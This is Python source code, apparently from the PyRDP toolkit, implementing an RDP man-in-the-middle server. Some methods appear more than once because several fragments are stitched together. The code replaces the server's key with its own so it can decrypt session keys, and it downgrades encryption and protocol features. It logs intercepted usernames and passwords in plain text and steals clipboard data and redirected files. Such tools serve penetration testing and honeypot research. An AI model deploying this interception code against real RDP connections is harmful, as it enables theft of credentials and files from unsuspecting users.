def onConnectResponse(self, pdu: MCSConnectResponsePDU): """ Parse server connection information. Initialize security settings and map channel IDs to channel names. :param pdu: the connect response PDU """ if pdu.result != 0: self.client.sendPDU(pdu) else: # Parse response PDUs gccParser = GCCParser() rdpParser = ServerConnectionParser() gccPDU: GCCConferenceCreateResponsePDU = gccParser.parse(pdu.payload) serverData = rdpParser.parse(gccPDU.payload) # Save security settings self.state.securitySettings.setEncryptionMethod(serverData.securityData.encryptionMethod) self.state.securitySettings.setServerRandom(serverData.securityData.serverRandom) if serverData.securityData.serverCertificate: self.state.securitySettings.setServerPublicKey(serverData.securityData.serverCertificate.publicKey) # Map channel names to IDs self.state.channelMap[serverData.networkData.mcsChannelID] = MCSChannelName.IO for index in range(len(serverData.networkData.channels)): channelID = serverData.networkData.channels[index] name = self.state.channelDefinitions[index].name self.log.info("%(channelName)s <---> Channel #%(channelId)d", {"channelName": name, "channelId": channelID}) self.state.channelMap[channelID] = name # Replace the server's public key with our own key so we can decrypt the incoming client random cert = serverData.securityData.serverCertificate if cert: cert = ProprietaryCertificate( cert.signatureAlgorithmID, cert.keyAlgorithmID, cert.publicKeyType, self.state.rc4RSAKey, cert.signatureType, cert.signature, cert.padding ) # FIPS is not implemented so avoid using that security = ServerSecurityData( serverData.securityData.encryptionMethod if serverData.securityData.encryptionMethod != EncryptionMethod.ENCRYPTION_FIPS else EncryptionMethod.ENCRYPTION_128BIT, serverData.securityData.encryptionLevel if serverData.securityData.encryptionLevel != EncryptionLevel.ENCRYPTION_LEVEL_FIPS else EncryptionLevel.ENCRYPTION_LEVEL_HIGH, serverData.securityData.serverRandom, cert ) # The clientRequestedProtocols field MUST be the same as the one received in the X224 Connection Request serverData.coreData.clientRequestedProtocols = self.state.requestedProtocols modifiedServerData = ServerDataPDU(serverData.coreData, security, serverData.networkData) modifiedGCCPDU = GCCConferenceCreateResponsePDU(gccPDU.nodeID, gccPDU.tag, gccPDU.result, rdpParser.write(modifiedServerData)) modifiedMCSPDU = MCSConnectResponsePDU(pdu.result, pdu.calledConnectID, pdu.domainParams, gccParser.write(modifiedGCCPDU)) self.client.sendPDU(modifiedMCSPDU)
def onConnectInitial(self, pdu: MCSConnectInitialPDU): """ Parse client connection information, change some settings, disable some unimplemented features, and record the client data. :param pdu: the connect initial PDU """ gccParser = GCCParser() rdpClientConnectionParser = ClientConnectionParser() gccConferenceCreateRequestPDU: GCCConferenceCreateRequestPDU = gccParser.parse( pdu.payload) rdpClientDataPDU = rdpClientConnectionParser.parse( gccConferenceCreateRequestPDU.payload) # FIPS is not implemented, so remove this flag if it's set rdpClientDataPDU.securityData.encryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS rdpClientDataPDU.securityData.extEncryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS if self.state.config.downgrade: # This disables the support for the Graphics pipeline extension, which is a completely different way to # transfer graphics from server to client. https://msdn.microsoft.com/en-us/library/dn366933.aspx rdpClientDataPDU.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL # Remove 24bpp and 32bpp support, fall back to 16bpp. # 2018-12-14: This is only there because there is a bug in the pyrdp player where 24bpp # decompression in rle.c causes random crashes. If this bug is fixed, we could remove this. rdpClientDataPDU.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_32BPP_SUPPORT rdpClientDataPDU.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_24BPP_SUPPORT rdpClientDataPDU.coreData.highColorDepth &= ~HighColorDepth.HIGH_COLOR_24BPP if rdpClientDataPDU.coreData.highColorDepth == 0: # Means the requested color depth was 24bpp, fallback to 16bpp rdpClientDataPDU.coreData.highColorDepth |= HighColorDepth.HIGH_COLOR_16BPP rdpClientDataPDU.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_WANT_32BPP_SESSION self.recorder.record(rdpClientDataPDU, PlayerPDUType.CLIENT_DATA) if rdpClientDataPDU.networkData: self.state.channelDefinitions = rdpClientDataPDU.networkData.channelDefinitions if "MS_T120" in map( lambda channelDef: channelDef.name, rdpClientDataPDU.networkData.channelDefinitions): self.log.info( "Bluekeep (CVE-2019-0708) scan or exploit attempt detected.", {"bluekeep": True}) serverGCCPDU = GCCConferenceCreateRequestPDU( "1", rdpClientConnectionParser.write(rdpClientDataPDU)) serverMCSPDU = MCSConnectInitialPDU(pdu.callingDomain, pdu.calledDomain, pdu.upward, pdu.targetParams, pdu.minParams, pdu.maxParams, gccParser.write(serverGCCPDU)) self.log.info( "Client hostname %(clientName)s", {"clientName": rdpClientDataPDU.coreData.clientName.strip("\x00")}) self.server.sendPDU(serverMCSPDU)
def __init__(self, conferenceName, parser=GCCParser()): """ :param conferenceName: the conference name :type conferenceName: bytes """ Layer.__init__(self, parser, hasNext=True) self.conferenceName = conferenceName
def onConnectResponse(self, pdu, serverData): # MCS Connect Response """ :type pdu: MCSConnectResponsePDU :type serverData: ServerDataPDU """ if pdu.result != 0: self.mcs.send(pdu) return # Replace the server's public key with our own key so we can decrypt the incoming client random cert = serverData.security.serverCertificate if cert: cert = ProprietaryCertificate(cert.signatureAlgorithmID, cert.keyAlgorithmID, cert.publicKeyType, self.rc4RSAKey, cert.signatureType, cert.signature, cert.padding) security = ServerSecurityData( # FIPS is not implemented so avoid using that serverData.security.encryptionMethod if serverData.security.encryptionMethod != EncryptionMethod.ENCRYPTION_FIPS else EncryptionMethod.ENCRYPTION_128BIT, serverData.security.encryptionLevel if serverData.security.encryptionLevel != EncryptionLevel.ENCRYPTION_LEVEL_FIPS else EncryptionLevel.ENCRYPTION_LEVEL_HIGH, serverData.security.serverRandom, cert) serverData.core.clientRequestedProtocols = self.originalNegotiationPDU.requestedProtocols self.securitySettings.serverSecurityReceived(security) self.serverData = ServerDataPDU(serverData.core, security, serverData.network) rdpParser = ServerConnectionParser() gccParser = GCCParser() gcc = self.client.conferenceCreateResponse gcc = GCCConferenceCreateResponsePDU(gcc.nodeID, gcc.tag, gcc.result, rdpParser.write(self.serverData)) pdu = MCSConnectResponsePDU(pdu.result, pdu.calledConnectID, pdu.domainParams, gccParser.write(gcc)) self.mcs.send(pdu)
def __init__(self, friendlyName: str, targetHost: str, targetPort: int, certificateFileName: str, privateKeyFileName: str, recordHost: str, recordPort: int, replacementUsername: str, replacementPassword: str): MCSUserObserver.__init__(self) self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}" self.log = getLoggerPassFilters( f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server") self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId) self.log.addFilter(self.metadataFilter) self.replacementPassword = replacementPassword self.replacementUsername = replacementUsername self.targetHost = targetHost self.targetPort = targetPort self.certificateFileName = certificateFileName self.privateKeyFileName = privateKeyFileName self.clipboardObserver = None self.useTLS = False self.client: MITMClient = None self.clientConnector = None self.originalNegotiationPDU = None self.targetNegotiationPDU = None self.serverData = None self.rc4RSAKey = RSA.generate(2048) self.crypter = RC4CrypterProxy() self.socket = None self.fileHandle = open( "out/rdp_replay_{}_{}.pyrdp".format( datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'), random.randint(0, 1000)), "wb") rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4") self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER) self.securitySettings.addObserver(self.crypter) self.securitySettings.addObserver(RC4LoggingObserver(rc4Log)) self.tcp = TwistedTCPLayer() self.tcp.createObserver(onConnection=self.onConnection, onDisconnection=self.onDisconnection) self.segmentation = SegmentationLayer() self.segmentation.createObserver( onUnknownHeader=self.onUnknownTPKTHeader) self.tpkt = TPKTLayer() self.x224 = X224Layer() self.x224.createObserver(onConnectionRequest=self.onConnectionRequest, onDisconnectRequest=self.onDisconnectRequest) self.mcs = MCSLayer() self.router = MITMServerRouter(self.mcs, self) self.mcs.addObserver(self.router) self.router.createObserver( onConnectionReceived=self.onConnectInitial, onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum, onAttachUserRequest=self.onAttachUserRequest, onChannelJoinRequest=self.onChannelJoinRequest) self.gcc = GCCParser() self.rdpClientInfoParser = ClientInfoParser() self.rdpClientConnectionParser = ClientConnectionParser() self.rdpServerConnectionParser = ServerConnectionParser() self.securityLayer = None self.slowPathLayer = SlowPathLayer() self.fastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) Layer.chain(self.tpkt, self.x224, self.mcs) if recordHost is not None and recordPort is not None: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.socket.connect((recordHost, recordPort)) except socket.error as e: logging.getLogger(LOGGER_NAMES.MITM).error( "Could not connect to liveplayer: %(error)s", {"error": e}) self.socket.close() self.socket = None recordingLayers = [FileLayer(self.fileHandle)] if self.socket is not None: recordingLayers.append(SocketLayer(self.socket)) # Since we're intercepting communications from the original client (so we're a server), # We need to write back the packets as if they came from the client. self.recorder = Recorder(recordingLayers)
class MITMServer(MCSUserObserver, MCSChannelFactory): def __init__(self, friendlyName: str, targetHost: str, targetPort: int, certificateFileName: str, privateKeyFileName: str, recordHost: str, recordPort: int, replacementUsername: str, replacementPassword: str): MCSUserObserver.__init__(self) self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}" self.log = getLoggerPassFilters( f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server") self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId) self.log.addFilter(self.metadataFilter) self.replacementPassword = replacementPassword self.replacementUsername = replacementUsername self.targetHost = targetHost self.targetPort = targetPort self.certificateFileName = certificateFileName self.privateKeyFileName = privateKeyFileName self.clipboardObserver = None self.useTLS = False self.client: MITMClient = None self.clientConnector = None self.originalNegotiationPDU = None self.targetNegotiationPDU = None self.serverData = None self.rc4RSAKey = RSA.generate(2048) self.crypter = RC4CrypterProxy() self.socket = None self.fileHandle = open( "out/rdp_replay_{}_{}.pyrdp".format( datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'), random.randint(0, 1000)), "wb") rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4") self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER) self.securitySettings.addObserver(self.crypter) self.securitySettings.addObserver(RC4LoggingObserver(rc4Log)) self.tcp = TwistedTCPLayer() self.tcp.createObserver(onConnection=self.onConnection, onDisconnection=self.onDisconnection) self.segmentation = SegmentationLayer() self.segmentation.createObserver( onUnknownHeader=self.onUnknownTPKTHeader) self.tpkt = TPKTLayer() self.x224 = X224Layer() self.x224.createObserver(onConnectionRequest=self.onConnectionRequest, onDisconnectRequest=self.onDisconnectRequest) self.mcs = MCSLayer() self.router = MITMServerRouter(self.mcs, self) self.mcs.addObserver(self.router) self.router.createObserver( onConnectionReceived=self.onConnectInitial, onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum, onAttachUserRequest=self.onAttachUserRequest, onChannelJoinRequest=self.onChannelJoinRequest) self.gcc = GCCParser() self.rdpClientInfoParser = ClientInfoParser() self.rdpClientConnectionParser = ClientConnectionParser() self.rdpServerConnectionParser = ServerConnectionParser() self.securityLayer = None self.slowPathLayer = SlowPathLayer() self.fastPathLayer = None self.tcp.setNext(self.segmentation) self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt) Layer.chain(self.tpkt, self.x224, self.mcs) if recordHost is not None and recordPort is not None: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.socket.connect((recordHost, recordPort)) except socket.error as e: logging.getLogger(LOGGER_NAMES.MITM).error( "Could not connect to liveplayer: %(error)s", {"error": e}) self.socket.close() self.socket = None recordingLayers = [FileLayer(self.fileHandle)] if self.socket is not None: recordingLayers.append(SocketLayer(self.socket)) # Since we're intercepting communications from the original client (so we're a server), # We need to write back the packets as if they came from the client. self.recorder = Recorder(recordingLayers) def getSessionId(self): return self.sessionId def getProtocol(self): return self.tcp def getNegotiationPDU(self): return self.targetNegotiationPDU def connectClient(self): # Connect the client side to the target machine self.clientConnector = reactor.connectTCP( self.targetHost, self.targetPort, MITMClientFactory(self, self.fileHandle, self.socket, self.replacementUsername, self.replacementPassword)) def setClient(self, client: MITMClient): self.client = client def onConnection(self): # Connection sequence #0 clientInfo = self.tcp.transport.client self.log.info("TCP connected from %(arg1)s:%(arg2)s", { "arg1": clientInfo[0], "arg2": clientInfo[1] }) def onDisconnection(self, reason): """ Record the end of the connection, close everything and delete the replay file if its too small (no useful information) """ self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE) self.log.info("Connection closed: %(arg1)s", {"arg1": reason}) if self.client: self.client.disconnect() self.disconnectConnector() fileSize = self.fileHandle.tell() fileName = self.fileHandle.name self.fileHandle.close() if fileSize < 16: try: os.remove(fileName) except Exception as e: logging.getLogger(LOGGER_NAMES.MITM).error( "Can't delete small replay file %(replayFile)s: %(error)s", { "replayFile": fileName, "error": e }) def onDisconnectRequest(self, pdu): self.log.debug("X224 Disconnect Request received") self.disconnect() def onDisconnectProviderUltimatum(self, pdu): self.log.debug("Disconnect Provider Ultimatum PDU received") self.disconnect() def disconnect(self): self.log.debug("Disconnecting") self.disconnectConnector() self.tcp.disconnect() self.log.removeFilter(self.metadataFilter) if self.socket is not None: self.socket.close() def disconnectConnector(self): if self.clientConnector: self.clientConnector.disconnect() self.clientConnector = None def onUnknownTPKTHeader(self, header): self.log.error( "Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx", {"header": header}) self.disconnect() def onConnectionRequest(self, pdu): # X224 Request self.log.debug("Connection Request received") # We need to save the original negotiation PDU because Windows will cut the connection if it # sees that the requested protocols have changed. parser = NegotiationRequestParser() self.originalNegotiationPDU = parser.parse(pdu.payload) if self.originalNegotiationPDU.cookie: self.log.info( "%(cookie)s", {"cookie": self.originalNegotiationPDU.cookie.decode()}) else: self.log.info("No cookie for this connection %(cookie)s", {"cookie": ""}) # Only SSL is implemented, so remove other protocol flags chosenProtocols = self.originalNegotiationPDU.requestedProtocols & NegotiationProtocols.SSL \ if self.originalNegotiationPDU.requestedProtocols is not None else None self.targetNegotiationPDU = NegotiationRequestPDU( self.originalNegotiationPDU.cookie, self.originalNegotiationPDU.flags, chosenProtocols, self.originalNegotiationPDU.correlationFlags, self.originalNegotiationPDU.correlationID, ) self.connectClient() def onConnectionConfirm(self, _): # X224 Response protocols = NegotiationProtocols.SSL if self.originalNegotiationPDU.tlsSupported else NegotiationProtocols.NONE parser = NegotiationResponseParser() payload = parser.write( NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, protocols)) self.x224.sendConnectionConfirm(payload, source=0x1234) if self.originalNegotiationPDU.tlsSupported: self.tcp.startTLS( ServerTLSContext(privateKeyFileName=self.privateKeyFileName, certificateFileName=self.certificateFileName)) self.useTLS = True def onConnectInitial(self, pdu): # MCS Connect Initial """ Parse the ClientData PDU and send a ServerData PDU back. :param pdu: The GCC ConferenceCreateResponse PDU that contains the ClientData PDU. """ self.log.debug("Connect Initial received") gccConferenceCreateRequestPDU: GCCConferenceCreateRequestPDU = self.gcc.parse( pdu.payload) # FIPS is not implemented, so remove this flag if it's set rdpClientDataPdu = self.rdpClientConnectionParser.parse( gccConferenceCreateRequestPDU.payload) rdpClientDataPdu.securityData.encryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS rdpClientDataPdu.securityData.extEncryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS # This disables the support for the Graphics pipeline extension, which is a completely different way to # transfer graphics from server to client. https://msdn.microsoft.com/en-us/library/dn366933.aspx rdpClientDataPdu.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL # Remove 24bpp and 32bpp support, fall back to 16bpp. # 2018-12-14: This is only there because there is a bug in the pyrdp player where 24bpp # decompression in rle.c causes random crashes. If this bug is fixed, we could remove this. rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_32BPP_SUPPORT rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_24BPP_SUPPORT rdpClientDataPdu.coreData.highColorDepth &= ~HighColorDepth.HIGH_COLOR_24BPP if rdpClientDataPdu.coreData.highColorDepth == 0: # Means the requested color depth was 24bpp, fallback to 16bpp rdpClientDataPdu.coreData.highColorDepth |= HighColorDepth.HIGH_COLOR_16BPP self.client.onConnectInitial(gccConferenceCreateRequestPDU, rdpClientDataPdu) return True def onConnectResponse(self, pdu, serverData): # MCS Connect Response """ :type pdu: MCSConnectResponsePDU :type serverData: ServerDataPDU """ if pdu.result != 0: self.mcs.send(pdu) return # Replace the server's public key with our own key so we can decrypt the incoming client random cert = serverData.security.serverCertificate if cert: cert = ProprietaryCertificate(cert.signatureAlgorithmID, cert.keyAlgorithmID, cert.publicKeyType, self.rc4RSAKey, cert.signatureType, cert.signature, cert.padding) security = ServerSecurityData( # FIPS is not implemented so avoid using that serverData.security.encryptionMethod if serverData.security.encryptionMethod != EncryptionMethod.ENCRYPTION_FIPS else EncryptionMethod.ENCRYPTION_128BIT, serverData.security.encryptionLevel if serverData.security.encryptionLevel != EncryptionLevel.ENCRYPTION_LEVEL_FIPS else EncryptionLevel.ENCRYPTION_LEVEL_HIGH, serverData.security.serverRandom, cert) serverData.core.clientRequestedProtocols = self.originalNegotiationPDU.requestedProtocols self.securitySettings.serverSecurityReceived(security) self.serverData = ServerDataPDU(serverData.core, security, serverData.network) rdpParser = ServerConnectionParser() gccParser = GCCParser() gcc = self.client.conferenceCreateResponse gcc = GCCConferenceCreateResponsePDU(gcc.nodeID, gcc.tag, gcc.result, rdpParser.write(self.serverData)) pdu = MCSConnectResponsePDU(pdu.result, pdu.calledConnectID, pdu.domainParams, gccParser.write(gcc)) self.mcs.send(pdu) def onAttachUserRequest(self, _): # MCS Attach User Request self.client.onAttachUserRequest() def onAttachConfirmed(self, user): # MCS Attach User Confirm successful self.router.sendAttachUserConfirm(True, user.userID) def onAttachRefused(self, user, result): # MCS Attach User Confirm failed self.router.sendAttachUserConfirm(False, result) def onChannelJoinRequest(self, pdu): # MCS Channel Join Request self.client.onChannelJoinRequest(pdu) def onChannelJoinAccepted(self, userID, channelID): # MCS Channel Join Confirm successful self.router.sendChannelJoinConfirm(0, userID, channelID) def onChannelJoinRefused(self, user, result, channelID): # MCS Channel Join Confirm failed self.log.debug("Refusing to connect channelId %(channelId)d", {"channelId": channelID}) self.router.sendChannelJoinConfirm(result, user.userID, channelID) def buildChannel(self, mcs, userID, channelID): self.log.debug("building channel %(arg1)s for user %(arg2)d", { "arg1": channelID, "arg2": userID }) channelMap = self.client.channelMap if channelID == self.serverData.network.mcsChannelID: return self.buildIOChannel(mcs, userID, channelID) elif channelID in channelMap.keys( ) and channelMap[channelID] == VirtualChannelName.CLIPBOARD: return self.buildClipboardChannel(mcs, userID, channelID) elif channelID in channelMap.keys( ) and channelMap[channelID] == VirtualChannelName.DEVICE_REDIRECTION: return self.buildDeviceRedirectionChannel(mcs, userID, channelID) else: return self.buildVirtualChannel(mcs, userID, channelID) def createSecurityLayer(self): encryptionMethod = self.serverData.security.encryptionMethod if self.useTLS: return TLSSecurityLayer() else: return SecurityLayer.create(encryptionMethod, self.crypter) def buildVirtualChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() rawLayer = RawLayer() Layer.chain(channel, securityLayer, rawLayer) peer = self.client.getChannelObserver(channelID) observer = MITMVirtualChannelObserver(rawLayer) observer.setPeer(peer) rawLayer.addObserver(observer) return channel def buildClipboardChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: """ :type mcs: MCSLayer :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSServerChannel that handles the Clipboard virtual channel traffic from the client to the MITM. """ # Create all necessary layers channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer() clipboardLayer = ClipboardLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, clipboardLayer) # Create and link the MITM Observer for the server side to the clipboard layer. # Also link both MITM Observers (client and server) so they can send traffic the other way. peer = self.client.getChannelObserver(channelID) passiveClipboardObserver = PassiveClipboardStealer( clipboardLayer, self.recorder, self.log) peer.passiveClipboardObserver = passiveClipboardObserver passiveClipboardObserver.setPeer(peer) clipboardLayer.addObserver(passiveClipboardObserver) return channel def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: """ :type mcs: MCSLayer :param userID: The mcs user that builds the channel :param channelID: The channel ID to use to communicate in that channel :return: MCSServerChannel that handles the device redirection virtual channel traffic from the client to the MITM. """ # Create all necessary layers channel = MCSServerChannel(mcs, userID, channelID) securityLayer = self.createSecurityLayer() virtualChannelLayer = VirtualChannelLayer( activateShowProtocolFlag=False) deviceRedirectionLayer = DeviceRedirectionLayer() Layer.chain(channel, securityLayer, virtualChannelLayer, deviceRedirectionLayer) # Create and link the MITM Observer for the server side to the device redirection layer. # Also link both MITM Observers (client and server) so they can send traffic the other way. peer = self.client.getChannelObserver(channelID) observer = PassiveFileStealerServer( deviceRedirectionLayer, self.recorder, self.client.deviceRedirectionObserver, self.log) observer.setPeer(peer) deviceRedirectionLayer.addObserver(observer) return channel def buildIOChannel(self, mcs: MCSLayer, userID: int, channelID: int) -> MCSServerChannel: encryptionMethod = self.serverData.security.encryptionMethod self.securityLayer = self.createSecurityLayer() self.securityLayer.createObserver( onClientInfoReceived=self.onClientInfoReceived, onSecurityExchangeReceived=self.onSecurityExchangeReceived, onLicensingDataReceived=self.onLicensingDataReceived) slowPathObserver = MITMSlowPathObserver( self.log, self.slowPathLayer, onConfirmActive=self.onConfirmActive) slowPathObserver.setDataHandler(SlowPathDataType.PDUTYPE2_INPUT, self.onInputPDUReceived) clientObserver = self.client.getChannelObserver(channelID) slowPathObserver.setPeer(clientObserver) self.slowPathLayer.addObserver(slowPathObserver) self.slowPathLayer.addObserver(RecordingSlowPathObserver( self.recorder)) fastPathParser = createFastPathParser(self.useTLS, encryptionMethod, self.crypter, ParserMode.SERVER) self.fastPathLayer = FastPathLayer(fastPathParser) fastPathObserver = MITMFastPathObserver(self.log, self.fastPathLayer) fastPathObserver.setPeer(self.client.getFastPathObserver()) self.fastPathLayer.addObserver(fastPathObserver) self.fastPathLayer.addObserver( RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_INPUT)) channel = MCSServerChannel(mcs, userID, channelID) Layer.chain(channel, self.securityLayer, self.slowPathLayer) self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.fastPathLayer) if self.useTLS: self.securityLayer.securityHeaderExpected = True return channel def onConfirmActive(self, pdu): # Force RDP server to send bitmap events instead of order events. pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_ORDER].orderFlags = OrderFlag.NEGOTIATEORDERSUPPORT \ | OrderFlag.ZEROBOUNDSDELTASSUPPORT pdu.parsedCapabilitySets[ CapabilityType.CAPSTYPE_ORDER].orderSupport = b"\x00" * 32 # Disable virtual channel compression if CapabilityType.CAPSTYPE_VIRTUALCHANNEL in pdu.parsedCapabilitySets: pdu.parsedCapabilitySets[ CapabilityType.CAPSTYPE_VIRTUALCHANNEL].flags = 0 # Override the bitmap cache capability set with null values. if CapabilityType.CAPSTYPE_BITMAPCACHE in pdu.parsedCapabilitySets: pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAPCACHE] =\ Capability(CapabilityType.CAPSTYPE_BITMAPCACHE, b"\x00" * 36) # Disable surface commands if CapabilityType.CAPSETTYPE_SURFACE_COMMANDS in pdu.parsedCapabilitySets: pdu.parsedCapabilitySets[ CapabilityType.CAPSETTYPE_SURFACE_COMMANDS].cmdFlags = 0 # Security Exchange def onSecurityExchangeReceived(self, pdu): """ :type pdu: RDPSecurityExchangePDU :return: """ self.log.debug("Security Exchange received") clientRandom = self.rc4RSAKey.decrypt(pdu.clientRandom[::-1])[::-1] self.securitySettings.setClientRandom(clientRandom) # Client Info Packet def onClientInfoReceived(self, data: bytes): """ Called when client info data is received. Record the PDU and send it to the MITMClient. """ pdu = ClientInfoParser().parse(data) clientAddress = None if pdu.extraInfo: clientAddress = decodeUTF16LE(pdu.extraInfo.clientAddress) self.log.info("Client address: %(clientAddress)s", {"clientAddress": clientAddress}) self.log.debug("Client Info received: %(clientInfoPDU)s", {"clientInfoPDU": pdu}) hasExtraInfo = pdu.extraInfo is not None self.log.info( "CLIENT INFO RECEIVED.\n" "USER: %(username)s\n" "PASSWORD: %(password)s\n" "DOMAIN: %(domain)s\n" "LOCAL IP ADDR: %(localIpAddress)s", { "username": pdu.username, "password": pdu.password, "domain": pdu.domain, "localIpAddress": pdu.extraInfo.clientAddress if hasExtraInfo else None }) self.recorder.record(pdu, PlayerMessageType.CLIENT_INFO) self.client.onClientInfoPDUReceived(pdu) def onLicensingDataReceived(self, data): self.log.debug("Sending Licensing data") if self.useTLS: self.securityLayer.securityHeaderExpected = False self.securityLayer.sendLicensing(data) def sendDisconnectProviderUltimatum(self, pdu): self.mcs.send(pdu) def onInputPDUReceived(self, pdu): # Unsure if still useful for event in pdu.events: if event.messageType == InputEventType.INPUT_EVENT_SCANCODE: self.log.debug("Key pressed: 0x%2lx" % event.keyCode) elif event.messageType == InputEventType.INPUT_EVENT_MOUSE: self.log.debug("Mouse position: x = %d, y = %d" % (event.x, event.y))